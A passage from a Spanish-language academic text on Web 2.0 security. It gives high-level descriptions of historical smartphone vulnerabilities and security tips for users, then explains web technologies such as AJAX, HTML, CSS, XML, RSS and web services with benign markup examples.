El sistema operativo con más virus en octubre de 2010 fue el más utilizado, es decir, Symbian
que presentaba un total de 463 familias del malware revirtiéndose la situación a favor de
Android e IOS.
11.3.3.1. Ejemplos de vulnerabilidades
Iphone Exploit Code (Iphone)

El mercado objetivo Iphone no es por lo general un teléfono corporativo, este mercado suele ir
más enfocado a Blackberry o a dispositivos Nokia con Symbian OS. Aún así, el hecho de que
sea tan funcional e innovador se ve mucho en las empresas.
El Iphone ha tenido multitud de vulnerabilidades enfocadas a desbloquear el dispositivo o

ampliar sus funcionalidades. ¿Quién no ha hecho hailbreak en su Iphone?
Dos vulnerabilidades llaman la atención hasta la fecha referentes al navegador Safari

implementadas en metasploit (http://www.metasploit.com/). El ataque consistía en colocar el
PC del atacante a través del metasploit como un servidor Web a la escucha de solicitudes de
conexión provenientes de estos móviles navegando por Internet. Aquí ya entraba en juego la
ingeniería social, mandando un link o un correo a nuestro servidor Web. Una vez hecho esto al
usuario se le cerraba Safari pudiendo abrirlo nuevamente y en nuestro servidor Web se abría
una consola remota con permisos de root pudiendo modificar archivos de host o dns, acceder
a los correos o contactos, etc.
Blackjaking (sistema operativo RIM/Blackberry)

Este ataque está relacionado con sistemas orientados para empresas. Si necesitamos tener un
servicio para la empresa usaremos el Blackberry Enterprise Server o BES dentro de la empresa.
Normalmente no se invierte en seguridad y al final se conectan estos dispositivos dentro de la
red de la empresa con conectividad fuera de ella pudiendo comunicar BES con los
smartphones. ¿Dónde está el problema? El tener un dispositivo público conectado al exterior
de la empresa.
Página 155
sociales
Software espía (Symbian, RIM/BlackBerry, Windows Mobile)

Existen multitud de software espía para teléfonos inteligentes, como también lo existe para
los navegadores tanto de smartphones como de ordenadores personales. La mayoría de
software malicioso de este estilo está enfocado a Symbian OS.
Normalmente el software espía es la instalación de una aplicación que monitoriza nuestro

teléfono y envía información sobre nuestro dispositivo a algún portal web.
Blueline (Motorola PEBL U6/Motorola V3)

Motorola tuvo grandes vulnerabilidades con la implementación del Bluetooth en sus primeras
implementaciones. El ataque consiste en una primera toma de contacto mediante ingeniería
social, haciendo que el usuario acepte un paquete de datos y una vez hecho esto podemos
realizar un ataque ejecutando comandos AT sobre el teléfono.
Hablando de Bluetooth también hemos visto muchos ataques de Bluespam, que básicamente
se trata de que un dispositivo móvil tiene siempre el Bluetooth activado en modo
descubrimiento el que nos lleguen mensajes arbitrarios creados por el atacante, pero esta
vulnerabilidad es más un problema del usuario que de seguridad.
Ataque a Navegadores (Android)

Se descubrieron algunas vulnerabilidades para smartphones que incorporaban las versiones
de Android 2.0 y 2.1. El código publicado se aprovecha de una vulnerabilidad existente en uno
de los componentes WebKit para varios navegadores. Se podría generar un exploit que se
active cuando se visita una web maliciosa. Es decir, mediante ingeniería social se consigue que
la víctima acceda a una dirección web maliciosa, y al entrar en ella se activa el exploit y se
inyecta código malicioso para obtener algún tipo de información del teléfono como datos
personales o datos financieros.
Troyanos (Android)
El primer virus detectado para Android fue Trojan-SMS. La aplicación FakePlayer.a se trata de
una falsa aplicación para reproducir contenido multimedia. Se pide que el usuario del teléfono
instale un archivo vía SMS que instala un troyano que comienza a mandar mensajes de texto
sin que el usuario lo sepa.
La instalación de aplicaciones con creador desconocido tiene mucho riesgo sobre todo para
sistemas operativos como Android, Symbian o BlackBerry.
Ataques Safari (iOS)

Safari ha tenido varios fallos de seguridad para IPhone.
Uno de ellos fue un fallo de seguridad en el manejo de esquemas de direcciones por parte del
navegador. Esto permite la realización de llamadas telefónicas mostrando un simple aviso al
pinchar en un enlace, y los que es peor, si se tiene instalado Skype, el aviso no se hará.
Página 156
sociales
11.3.3.2. Trucos de seguridad para smartphones:

Vamos a ver algunos trucos46 de seguridad para smartphones:
Active el acceso a su dispositivo mediante PIN. Si el equipo lo permite, establezca

también una contraseña para el desbloqueo del mismo, de forma que se impida su uso
por parte de terceros así como el acceso a los datos almacenados en caso de pérdida o
robo.
Realice una copia de seguridad de los datos del dispositivo. Esto permitirá tener a
salvo los datos de agenda, fotos, videos, documentos almacenados, descargas
realizadas y otros, a fin de restaurarlos en caso de que el teléfono sea infectado u
ocurra algún incidente de pérdida de información.
Active las conexiones por bluetooth, infrarrojos y WiFi sólo cuando vaya a utilizarlas,
de forma que no se conviertan en puertas de acceso para posibles atacantes. Si el
modelo lo permite, establezca contraseñas para el acceso al dispositivo a través de
estas conexiones.
Asegúrese siempre de que los equipos a los que es conectado el dispositivo estén
limpios y no transmitirán archivos infectados al móvil.
No inserte en el dispositivo tarjetas de memoria sin haber comprobado antes que

están libres de archivos infectados con algún tipo de código malicioso.
Descargue aplicaciones sólo desde sitios de confianza o tiendas oficiales (como por
ejemplo Apple Store para iPhone). Las mismas deben estar siempre certificadas por
los fabricantes.
No acceda a enlaces facilitados a través de mensajes SMS/MMS no solicitados y que

impliquen la descarga de contenidos en el equipo.
Desconecte siempre los servicios Web que requieran contraseña antes de cerrar el
navegador Web.
Instale un software antivirus que le permita la detección de amenazas en el teléfono,

de forma que impida la ejecución y transmisión hacia otros equipos.
Apunte el número IMEI (Identidad Internacional de Equipo Móvil) de su teléfono. Este

número, único para cada dispositivo móvil en todo el mundo, permite a las operadoras
desactivar el teléfono en caso de robo, incluso si se le cambia la tarjeta SIM. Para ver
el código, marque *#06#. El teléfono devolverá el código IMEI.
Mediante estos trucos conseguiremos que el teléfono móvil esté más protegido y con él la
información contenida en él.
46
“Seguridad para dispositivos móviles” por ESET.
Fuente: Lambdasi, argentina http://www.lambdasi.com.ar/textocomp.asp?id=919
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sociales
11.3.3.3. Antivirus para Smarthphones
Tal es la inseguridad que se esta generando en los teléfonos móviles inteligentes que ya han
salido varios paquetes de antivirus en el mercado para este tipo de dispositivos.
Ilustración 43. Seguridad para Smartphones.
Pondremos el ejemplo del antivirus “Karspersky Mobile Security 9.0”.
Este antivirus permite salvaguardar la privacidad de los usuarios de teléfonos móviles. Incluye
características de cifrado mejorado, privacidad de contactos o características de antirrobo.
Otros antivirus47 para smartphones que existen en el mercado son:
NetQin Mobile Antivirus

BitDefender Mobile Antivirus
F-Secure
Flexilis Mobile Security
Airscanner AntiVirus for Windows Mobile
Trend Micro Mobile Security
McAfee VirusScan Mobile
Dr.Web anti-virus for Windows Mobile
Norton Smartphone Security
BullGuard Mobile Antivirus 2.0
Robota Mobile Anti Virus
ESET® Mobile Antivirus for Smartphones
avast! PDA Edition Download
47
Fuente: lista proveída por AboutLineTips.com, http://www.aboutonlinetips.com/free-antivirus-for-mobile-or-smartphones/
Página 158
sociales
11.3.4. Navegadores
Recordemos que los navegadores juegan un papel esencial en la parte del cliente ya que son
estos los que principalmente se encargan de permitir el acceso a los sitios web 2.0 y redes
sociales en la mayoría de los casos. Los principales navegadores que encontramos hoy día en
Internet son Internet Explorer, Firefox, Chrome, Safari y Opera.
Si vemos la evolución que han tenido los principales navegadores de hoy en día, vemos que
Internet Explorer sigue siendo el gran ganador seguido de Firefox y que Chrome a pesar de su
poca vida está el tercero en la cola superando ya a sus compañeros Safari y Opera.
Vamos a ver datos de los porcentajes de uso de los navegadores de agosto de 2010 que nos
ofrece la Web http://gs.statcounter.com/.
Ilustración 44. Cuota de uso de los navegadores (Jun 09 – Jun 11).

Fuente: http://gs.statcounter.com/
Página 159
sociales
Si vemos el desglose por versiones y comparamos, podemos ver cómo tanto Firefox como
Chrome han ganado una gran cuota de mercado.
Ilustración 45. Comparación de cuota de uso de navegadores por versiones (Jun 09 – Jul 11).
Aunque Chrome y Firefox van ganando cuota de mercado, Internet Explorer sigue siendo el
gran ganador.
Todos estos navegadores cada día más personalizables, incluyen extensiones o gadgets para
configurar nuestras redes sociales.
No vamos a explicar que hace cada navegador ya que todos ellos al fin y al cabo son muy
parecidos visualmente, tienen una interfaz muy similar, vamos a ver una navegador que ha
sido creado para las redes sociales, Flock.
Página 160
sociales
11.3.4.1. Flock
Flock se trata de un navegador desarrollado por Mozilla y está enfocado hacia el uso de las
redes sociales y Webs 2.0.
Ilustración 46. Navegador Flock.
Es un navegador de código abierto que funciona bajo la plataforma Gecko (motor de

renderizado libre desarrollado en C++ en sus inicios por Netscape), la misma plataforma que
Firefox pero actualmente está en fase de actualización a WebKit (framework para aplicaciones
que funciona como base de navegadores como Safari, Chrome, Epiphany o Midori). En sus
inicios fue desarrollado para Mac OS X, pero ahora podemos encontrarlo también para
Windows y Linux. La última versión beta está basada en Chromium (se trata de un proyecto
de software libre mediante el cual se ha desarrollado Google Chrome.
Podemos descargar el navegador y ver sus ventajas desde la Web oficial

http://www.flock.com/.
Integra la creación de redes y servicios como Facebook, YouTube, Twitter, Flickr, Blogger,
GMail, Yahoo Mail y otros. Cuenta con herramientas para el uso de blogs, feeds de RSS y
ATOM, páginas favoritas de Del.icio.us y compartir fotos mediante Flick.
Página 161
sociales
El navegador incluye una barra lateral donde podemos ver todas las actualizaciones de
nuestras redes sociales y Web 2.0 y una página de inicio con nuestra cuenta personal para
poder añadir favoritos y más características.
Ilustración 47. Navegador Flock. Conexión con redes sociales.
Características del navegador:
Posibilidad de publicar contenido en cualquier página y publicar un post en

nuestro blog.
Integración de redes sociales como Facebook, Youtube, Del.icio.us, Flick, Digg o
Pownce y poder estar conectados a esta red sin depender de donde estemos
navegando.
Al estar conectado con las redes sociales nos informa cuando nuestros contactos
actualizan su perfil o añaden fotografías.
Permite el intercambio de texto, enlaces, fotos y videos con nuestros contactos.
Ofrece lector de feeds de RSS o ATOM pudiendo mantener nuestras fuentes de
información organizada en carpetas.
Sincronización de los favoritos con Del.icio.us.
Tenemos la posibilidad de integrar extensiones desarrolladas para Firefox.
El navegador Web ha sido galardonado con varios premios como Premio Open Web, Premio
Weeby o Premio de la comunidad SXSW, entre otros.
Existen otros navegadores sociales como Rockmelt.
Página 162
sociales
Capítulo 12
Lenguajes y Tecnologías de
comunicación entre cliente y
servidor
12.1. Introducción
Con el nacimiento de la WWW en 1990 empezaron a surgir lenguajes y protocolos de
hipertexto como HTTP, URI o HTML. También surgieron los primero navegadores, como
Mosaic en 1993 y todo esto como objetivo del intercambio científico. Tras el estallido de la
burbuja tecnológica, finalmente en 2005 nació lo que llamamos hoy día Web 2.0, un
entramado de lenguajes, tecnologías, protocolos unido a las redes sociales.
Las tecnologías enfocadas a Web 2.0 son:
AJAX (Asynchronous JavaScript And XML). Aplicaciones Web basadas en HTML y

JavaScript con componentes asíncronos.
CSS (Cascading Style Sheets) separación de diseño y contenido y HTML
(HyperText Markup Language).
HTML5 (HyperText Markup Language, version 5).
XML (eXtensible Markup Language).
Servicios Web, dicotomía REST (Representational State Transfer) vs SOAP
(Simple Object Access Protocol).
RSS, RDF y ATOM (sindicación y agregación de contenidos).
JAVA WEB START, FLEX, LASZLO, FLASH (Clientes ricos ligeros no HTML).
SSO, Registro, Federación de Identidad (Autenticación, Autorización y Seguridad
en el acceso a las Aplicaciones Web).
Javascript, DOM, RUBY, PYTHON, PHP (Lenguajes de Script).
XHTML.
Página 163
sociales
12.2. Lenguajes y Tecnologías en Web 2.0
12.2.1. AJAX
AJAX (Asynchronous JavaScript And XML)es una es una tecnología que combina JavaScript
asíncrono y XML para crear aplicaciones interactivas o RIA (Rich Internet Applications).
Esta tecnología está siendo tan extendida en el mundo de la Web 2.0 que muchas veces la
gente oye hablar de ella y no sabe de qué se trata, ni dónde buscar información de ella. El
éxito de AJAX se basa en que no se trata de una simple tecnología, sino de la unión de las
mejores tecnologías, que son capaces de conseguir cosas fascinantes como GoogleMaps.
Google ha realizado una gran inversión en esta tecnología, muchos de sus productos como
Orkut, Gmail, Google Groups, Google Suggest o Google Maps son aplicaciones AJAX. Otras
webs tienen integradas partes del motor AJAX como algunas funciones de Flickr o el motor de
búsqueda de Amazon.
El concepto de AJAX es mantener cargando y renderizando una página Web mientras script y
rutinas se comunican con el servidor en background, en búsqueda de datos que se van usando
para actualizar la página, todo esto mostrando y ocultando partes de la página.
AJAX incorpora (del artículo “Ajax: A New Approach to WebApplications” de Jesse James
Garrett obtenido de http://adaptivepath.com/ideas/essays/archives/000385.php):
Diseño basado en estándares usando XHTML y hojas de estilo (CSS).

Demostraciones dinámicas usando DOM (Document Object Model). DOM es el
encargado de interactuar con la información presentada y se ejecuta en el cliente.
Recuperación de datos asíncrona usando XMLHttpRequest. Se encarga de
intercambiar datos con el servidor web.
Intercambio y manipulación de datos usando XML y XSLT. Estos datos se
devuelven en formato XML y se añaden a los datos de la Web que estamos viendo
integrándose de nuevo gracias a XHTML y CSS.
Y finalmente JavaScript. JavaScript presenta un inconveniente y es que necesita
estar instalado en la parte del cliente para poder utilizar AJAX.
Página 164
sociales
Comparación del modelo clásico de aplicaciones Web con el modelo AJAX

En el modelo clásico, las acciones del usuario en la interfaz y las peticiones HTTP vuelven al
servidor Web. El servidor realiza algún proceso, es decir, recopilar información, procesar
números, se comunica con varios sistemas propietarios y finalmente devuelve la página HTML
al cliente. Vamos a ver la comparación48 entre el modelo clásico y el modelo antiguo:
Ilustración 48. Comparación modelo clásico Web y AJAX por Jesse James.
En el modelo de AJAX, una aplicación basada en AJAX elimina la naturaleza

star-stop-star-stop de la interacción con la Web e introduce un nuevo intermediario, el motor
de AJAX, entre el servidor y el cliente, que se encarga de renderizar la interfaz que el usuario
final ve por pantalla y se comunica con el servidor en favor del usuario.
48
“AJAX un nuevo acercamiento a Aplicaciones Web” por Jesse James.
Página 165
sociales
En el siguiente gráfico49 podemos ver la diferencia del motor de procesamiento de los dos
modelos:
classic web application model (synchronous)

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user activity user activity U5er activity
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r
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Ajax web application model (asynchronous)

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server-5rde server-slde server-slde server-5lde
processing processing processi ng processing
erver
Jesse James Garrett I adaptivepath,com
Ilustración 49. Comparación del modelo síncrono clásico y asíncrono del motor de AJAX por Jesse James.
49
“AJAX un nuevo acercamiento a Aplicaciones Web” por Jesse James.
Página 166
sociales
GoogleMaps fue una de las primeras aplicaciones que utilizó tecnología AJAX. Ofrece de
forma gratuita una API para poder desarrollar aplicaciones basadas en los mapas que ofrece
Google. El motor de AJAX permite que la interacción entre la aplicación y el usuario ocurra de
manera asíncrona, es decir, que el usuario no tendrá que ver la típica pantalla en blanco o el
reloj de arena, si no que va viendo progresivamente como ser carga la web de manera casi
instantánea como por en GoogleMaps.
AJAX es muy dinámico, atractivo y funcional a la hora de programar este tipo de webs, es por
esto que una gran mayoría de portales 2.0 han elegido esta tecnología para desarrollarla.
Página 167
sociales
12.2.2. HTML
HTML de las siglas Hypertex Markup Language (Lenguaje de Marcado de Hipertexto), es el
lenguaje de marcado para hipertexto que predomina en las páginas webs.
Describe la estructura y el contenido en forma de texto para complementar texto y objetos

(imágenes, videos…).
HTML se basa en etiquetas que se tratan de instrucciones de comienzo y final, que

determinan la forma en la que aparecerá en el cliente final (normalmente un navegador web)
el texto, las imágenes y el resto de elementos.
Podemos ver un ejemplo de lenguaje HTML:
<html>
<head>
<title>Titulo</title>
</head>
<body>
<h1>Titulo1</h1>
<p>Veamos un enlace la <a
href=http://www.uc3m.es>Universidad Carlos III</a>
</p>
</body>
</html>
Sus primeras versiones usaban sintaxis SGML (Standard Generalized Markup Language) que se
trataba de un lenguaje de marcado genérico.
Actualmente HTML está evolucionando a XHTML (eXtensible Hypertext Markup Language),

versión reciente del XML (eXtensible Markup Language).Más adelante comentaremos estos
lenguajes, así como una comparativa de HTML frente a XML.
Página 168
sociales
12.2.3. CSS
CSS de las siglas Cascading Style Sheets (Hojas de estilo en cascada). Describen como se
muestra un documento escrito en HTML o XML.
Permiten separar la presentación del contenido, facilita la reutilización de las presentaciones,

facilita la independencia del dispositivo en el contenido y aumenta la accesibilidad.
Veamos este ejemplo de código CSS:
<link rel=‖stylesheet‖
href=‖ejemplo.css‖
type=‖ejemplo/css‖ />
_____________________________
Body { background : yellow; }
h1 { text-align : center; }
Vemos que está definiendo que el color de fondo del cuerpo va ser amarillo, y que el nivel de
escritura h1 estará centrado y esto será para todos los documentos que incluyan esta hoja de
estilo.
Las ventajas de utilizar hojas de estilo son varias:
Es mucho más fácil hacer un control del estilo de una Web completa de manera
centralizada, y no hoja por hoja, lo que sería mucho más tedioso.
Las hojas de estilo se pueden crear en local para aplicarlas algún sitio Web, lo que
permite la accesibilidad.
Se pueden elegir diferentes hojas de estilo según el cliente final es decir si es un
navegador, un dispositivo móvil, iPhone, etc. y finalmente al separar el estilo en
CSS del documento en HTML o XML seremos capaces de leer con más facilidad el
documento.
Por último, al tener todo el estilo de la Web concentrado en las hojas de estilo,
disminuiremos de manera considerable el volumen del archivo de los documentos
finales.
Para más información podemos consultar el W3C

http://www.w3c.es/divulgacion/guiasbreves/HojasEstilo.
Página 169
sociales
12.2.4. XML
XML, de las siglas eXtensile Markup Language (Lenguaje de Marcado Extensible). Este
metalenguaje se desarrolló por el W3C (World Wide Web Consortium).
Tiene el mismo objetivo que SGML (Standard Generalized Markup Language) pero pensado
para Web, es más restrictivo que SGML, pero más sencillo. Ha adquirido un gran éxito como
lenguaje de intercambio.
Veamos un ejemplo de código XML extraído del W3C:
<?xml version="1.0" encoding="ISO-8859-1"?>

<libro>
<titulo></titulo>
<capitulo>
<titulo></titulo>
<seccion>
<titulo></titulo>
</seccion>
</capitulo>
</libro>
XML es una familia de tecnologías, un conjunto creciente de módulos que ofrecen servicios
útiles a las demandas de los usuarios.
Algunas de estas tecnologías son:
XSL, Lenguaje Extensible de Hojas de Estilo. Su objetivo es mostrar cómo tiene

que estar estructurado el contenido, cómo debería estar diseñado y como debería
se paginado en el cliente que puede ser un navegador, un móvil, etc.
XPath, Lenguaje de Rutas XML. Lenguaje para acceder a las partes del
documento XML.
XLink, Lenguaje de Enlace XML. Lenguaje para crear enlaces en documentos
XML.
XPointer, Lenguaje de Direccionamiento XML y XFragments. Son lenguajes que
permite acceso a los elementos, atributos y contenido del documento XML.
XQL, Lenguaje de Consulta XML. Lenguaje que permite hacer consultas de datos
del documento XML.
XSLT, Transformaciones XSL. Lenguaje que presenta la forma de transformar
documentos XML en otros formatos como HTML o XHTML.
XML Schemas 2 y 3, ayudan a los desarrolladores a definir con precisión las
estructuras de sus propios formatos basados en XML.
Los beneficios que tenemos con XML frente a HTML en un entorno de Web 2.0 son muchos. El
lenguaje XML es un lenguaje muy similar al HTML ya que usa etiquetas (<Ejemplo>) y
atributos (de la forma nombre=‖valor‖) de la misma forma, pero HTML no indica lo que
está representando, sin embargo, XML describe el contenido de las etiquetas, describe los
datos.
Página 170
sociales
XML utiliza las etiquetas sólo para delimitar las piezas de datos y se deja la interpretación de
los datos completamente a quién los lee. Sin embargo HTML especifica lo que cada etiqueta y
atributo significan.
XML es texto que en principio no está pensado para que el usuario final lo lea, pero si en un
momento determinado lo necesita lo puede hacer. Las reglas de XML son más estrictas que
HTML, ya que en HTML si olvidamos un atributo o unas comillas no tienen por qué haber
grandes problemas, pero en XML puede inutilizar el documento por completo. Quizá esta sea
la mayor ventaja de HTML frente a XML.
El tener que etiquetar todo exhaustivamente en XML hace que sus documentos tengan mayor
tamaño que los documento de HTML, pero hoy en día, con las grandes capacidades de
transferencia y almacenamiento que manejamos, ¿qué puede suponer “mega arriba o mega
abajo”? Los protocolos de comunicación HTTP/1.1 son capaces de comprimir datos al vuelo,
ahorrando ancho de banda significativamente.
Finalmente podemos destacar otras ventajas de XML, como que es gratuito, independiente
de la plataforma y actualmente está bien soportado.
Podemos ver el siguiente titulado “Web 2.0 ... The Machine is Us/ing Us” creado por Michal
Wesch, profesor de la Universidad de Kansas.
Ilustración 50. The Machine Is Us, http://www.youtube.com/watch?v=6gmP4nk0EOE.
Nos muestra como los lenguajes como XML, que se encargan de separar el contenido del
diseño, están adaptados a los nuevos entornos Web 2.0, la Web 2.0 que básicamente la
formamos nosotros mismos.
Página 171
sociales
12.2.5. XHTML
XHTML de las siglas eXtensible Hypertext Markup Language (Lenguaje de Marcado de
Hipertexto Extensible). XHTML 1.0 es la adaptación de HTML 4.0 al lenguaje XML por la W3C,
podemos ver la especificación oficial de XHTML en http://www.w3.org/TR/xhtml1/.
XHTML combina la sintaxis de HTML, para mostrar datos, con la sintaxis de XML, para
describir los datos. Es una versión más estricta de HTML que tiene la intención de reemplazar
este lenguaje. Es más estricta ya que XHTML tiene que estar bien formado y todas las
etiquetas deben tener su principio y fin, es decir, un poco más cercano al XML en este sentido.
De hecho la gran mayoría de los textos HTML están mal formados y no hay problema. El W3C
nos ofrece la posibilidad de validarlos y ver los posibles errores http://validator.w3.org/.
E objetivo de este lenguaje es una vez más separar claramente la forma del contenido.
Ilustración 51. XHTML, separando contenido y forma.
Esta separación permite que los contenidos y presentación de los documentos XHTML sean
más flexibles adaptándose mejor a las pantallas de los ordenadores, pantallas de los
dispositivos móviles, etc. De hecho el lenguaje XHTML surge al llegar al mercado una gran
variedad de dispositivos que soportan páginas Web como teléfonos móviles, PDAs,
BlackBerrys, Iphone, etc.
Las ventajas del XHTML frente al HTML son varias. A medida que van proliferando las
herramientas XML como por ejemplo XSLT para transformar documentos, vamos viendo
estas ventajas en aumento. Las aplicaciones de Web Semántica serán capaces de sacar
provecho de los documentos XHTML, y con Web Semántica nos referimos a la evolución de la
Web hacia la Web 3.0.
Otra ventaja es que XHTML puede incluir otros lenguajes como MathML (Mathematical
Markup Language), SMIL (Synchronized Multimedia Integration Language) o SVG (Scalable
Vector Graphics), al contrario que HTML.
Página 172
sociales
XHTML no es simplemente una mezcla de HTML y XML sintácticamente hablando, tenemos

un formato específico. Para facilitarnos las cosa, si quisiéramos transformar textos de HTML a
XHTML podemos hacerlo fácilmente mediante HTML Tidy (http://tidy.sourceforge.net/) o el
navegador Amaya (http://www.w3.org/Amaya/).
12.2.6. Javascript y DOM

JavaScript es un lenguaje de scripting basado en objetos y guiado por eventos, diseñado
principalmente para el desarrollo de aplicaciones cliente-servidor en Internet. No debemos
confundir JavaScript con Java, aunque tienen una sintaxis similar, son lenguajes diferentes con
finalidades distintas.
JavaScript va principalmente integrado en un navegador Web, usado tradicionalmente en

páginas Web HTML, permitiendo hacer las páginas Web más dinámicas.
JavaScript es un “dialecto” de ECMAScript50 desarrollado por Netscape. Microsoft desarrolló

su propia implementación de ECMAScript, un lenguaje llamado JScript, similar al JavaScript
pero con algunas diferencias que hacen que estas versiones sean incompatibles. Debido a
estas incompatibilidades se creó el DOM o Document Object Model (Modelo de Objetos para
la representación de Documentos) por la W3C.
El DOM es una API (Application Programming Interface o Interfaz de Programación de

Aplicaciones) para documentos HTML y XML bien formados. Define la estructura lógica de los
documentos y cómo se acceden y manipulan estos documentos. El DOM es una API para
acceder, añadir y cambiar dinámicamente contenido estructurado en documentos con
lenguajes como Javascript.
50
ECMAScript se trata de una especificación de lenguaje de programación publicada por ECMA
Internacional (Organización internacional para estándares de comunicación y información). Estuvo
basado su desarrollo en el lenguaje JavaScript.
Página 173
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12.2.7. RSS, RDF y ATOM (sindicación y agregación de contenidos)

RSS, RDF y ATOM son formatos para la sindicación y distribución de contenidos.
RSS es la abreviatura de:
Rich Site Summary (RSS 0.91)

RDF51 Site Summary (RSS 0.9 y 1.0)
Really Simple Syndication (RSS 2.0)
En definitiva la definición más aceptada para RSS es actualmente Sindicación Realmente

Sencilla.
Al igual que XHTML, RSS es otro sublenguaje de transmisión de información basado en el

estándar XML. Suministra a los suscriptores la información actualizada frecuentemente de
contenidos de sitios Web y Weblogs.
RSS fue el primero formato de fuente web y sigue siendo el más popular, tal es así que
erróneamente el término RSS es usado para referirse a fuente Web. RSS es el formato y
fuente Web es el medio de redifusión de contenido Web.
Se trata de una tecnología, una familia de formatos de fuentes Web codificados en XML, para
el envío automatizado de titulares de noticias a los programas lectores o agregadores. La
ventaja que tiene RSS es que no necesita de un navegador sino de un software que sea capaz
de leer contenidos RSS, es decir el agregador. Los agregadores son lectores de fuentes Web
que obtienen resúmenes de todos los sitios que se linkeen, desde el escritorio del sistema
operativo, correo electrónico o aplicaciones que funcionan a través de Web; las más
conocidas:
Google Reader
MyYahoo!
Netvibes
iGoogle
Los archivos de RSS llamados feeds RSS o canales RSS contienen un breve resumen de la
publicación en el sitio Web de origen. Cada publicación consta de un título, un resumen de
texto y un enlace al documento original. También tenemos otra información adicional como
autor, fecha de publicación, etc.
Veamos este ejemplo gráfico que se trata de un feed RSS del blog Estimulate de Blogger,
feed://web20sec.blogspot.com.
51
RDF de las siglas Resource Description Framework, es un framework para metadatos en la WWW
desarrollado por W3C
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sociales
Ilustración 52. Feed RSS.
Como hemos visto al principio existen diferentes versiones de RSS. Las primeras versiones
fueron desarrolladas por Netscape, la 0.9 y la 0.91. La versión 1.0 se creó por un grupo
independiente en el formato RDF y la versión 2.0 la desarrolló finalmente UserLand Software,
empresa que adoptó la tecnología de Netscape.
RDF del inglés Resource Decription Framework (Marco de Descripción de Recursos) es un

framework para metadatos en la WWW desarrollado por la W3C. Es la versión 1.0 del lenguaje
RSS.
RDF (Resource Description Framework) es un formato de texto XML que soporta aplicaciones
de descripción de recursos y metadatos como música, fotos, etc. RDF podría identificar las
personas en un álbum de fotos web usando información de una lista de contactos personales
permitiendo que el cliente de correo informe a esas personas que sus fotos están en la web.
Atom se trata de un sublenguaje de XML. No se corresponde con ninguna versión de RSS,

pero el formato es muy parecido a él y tiene el mismo objetivo, es decir, la redifusión de
contenidos. Atom hace referencia a dos estándares:
Formato de Redifusión de Atom, un fichero en formato XML para la redifusión

Web.
AtomPub o APP (Protocolo de Publicación Atom), protocolo de HTTP para crear y
actualizar recursos en la Web.
Crear feeds RSS es muy sencillo ya que se generan automáticamente gracias a las
herramientas de publicación de la mayoría de sitios Web, reescribiéndose conforme
actualizamos la Web. Si utilizamos programas como MovableType o Blogger tendremos la
opción de generar automáticamente un feed de RSS.
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12.2.8. Servicios web

Se trata de aplicaciones accesibles a través de la web que se comunican mediante tecnologías
estándar. Un servicio web se compone de un conjunto de protocolos y estándares que nos
valen para intercambiar datos entre aplicaciones web. Son un conjunto de aplicaciones o
tecnologías que tienen capacidad para interoperar en la web.
En las páginas webs existen aplicaciones desarrolladas en lenguajes diferentes que requieren
el intercambio de datos y lo hacen mediante servicios web. Estos servicios proporcionan un
mecanismo de comunicación estándar para poder permitir interactuar a las aplicaciones entre
sí y presentar la información de manera dinámica al usuario.
Para que esto funcione necesitamos una arquitectura de referencia estándar. Las
organizaciones OASIS (Organization for the Advancement of Structured Information Standards)
y W3C se encargan de esta arquitectura.
Estándares
Los estándares más empleados en el proceso de comunicación de servicios Web actualmente

son:
Web Services Protocol Stack

XML (Extensible Markup Language)
SOAP (Simple Object Access Protocol)
XML-RPC (XML Remote Procedure Call)
HTTP (Hypertext Transfer Protocol)
FTP (File Transfer Protocol)
SMTP (Simple Mail Transfer Protocol)
WSDL (Web Services Description Language)
UDDI (Universal Description, Discovery and Integration)
WS-Security (Web Service Security)
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sociales
Cómo interactúan los Servicios Web
Veamos cómo interactúan los servicios Web en el siguiente gráfico.
Ilustración 53. Servicios Web.
Normalmente el transporte de mensajes se hace a través de HTTP.
La representación de los mensajes se hace mediante SOAP (Simple Object Access Protocol).
SOAP especifica el formato de los mensajes:
Envelope
Header (meta-información)
Body (datos en formato XML)
Fault (errores)
La descripción del servicio, la representación del tipo de operaciones y su interfaz se hace a

través de WSDL (Web Services Description Language) que define las operaciones y el tipo (no
define la funcionalidad).
WSDL describe los servicios Web: ¿Qué hace el servicio? ¿Dónde reside? ¿Cómo se invoca?
UDDI (Universal Description, Discovery and Integration) es el estándar para la publicación y

registro de servicios Web. El registro y la localización de los servicios se hacen a través del
estándar UDDI.
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sociales
Ventajas e Inconvenientes
Ventajas
Permiten que aunque existan aplicaciones desarrolladas en plataformas

diferentes o con distintas propiedades estas se puedan comunicar de manera
sencilla, así servicios y software de diferentes empresas y de diferentes países
pueden ser integrados fácilmente.
Estos servicios Web fomentan los estándares y los protocolos basados en texto.
Gracias a que los servicios Web están desarrollados por la organización W3C,
podemos asegurar que los servicios Web no forman parte de intereses particulares
de fabricantes garantizando plena interoperabilidad entre aplicaciones.
Inconvenientes
No es comparable el desarrollo a los estándares abiertos de computación

distribuida como CORBA (Common Object Request Broker Architecture).
Su rendimiento es bajo comparado con estos modelos de computación. El XML no
vela por la eficacia del procesamiento.
Al apoyarse en HTTP pueden ser capaces de saltarse las reglas de los firewalls que
bloquean conexiones de programas concretos.
SOAP vs REST
Los servicios Web se basan en dos filosofías:
REST (Representational State Transfer): es una técnica de arquitectura software

para sistemas hipermedia distribuido como la WWW.
Se basa solo en XML y HTTP. Cada URL representa un objeto sobre el que pueden
realizar las operaciones típicas como POST; GET, PUT, DELETE, etc.
SOAP (Simple Object Access Protocol): es un protocolo que define cómo dos
objetos en diferentes procesos pueden comunicarse intercambiando datos XML.
Se trata de una infraestructura entera basada en XML donde cada objeto puede
tener métodos definidos por el programador con diferentes parámetros.
Las ventajas de REST es que es ligero (no es necesario demasiado XML para la configuración),
da resultados legibles y es bastante fácil de implementar.
Las ventajas que presenta SOAP es que es fácil de consumir, es rígido (es fuertemente tipado)
y que existen herramientas de desarrollo.
Parece que SOAP está ganando la batalla a REST: Aunque la arquitectura de REST sea más
antigua, no cabe duda que funciona sin problemas y es bastante rápido y eficaces por lo que se
podría decir, que aunque algo más arcaicas, esto hace a su vez que también sean algo más
fiables.
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12.3. Protocolos de conexión más usados en Web 2.0

Algunos de los protocolos clásicos que pueden aparecer en las conexiones Web 2.0 son los
siguientes:
HTTP (Hyper Transfer Protocol): HTTP un protocol de la capa de aplicación usado en

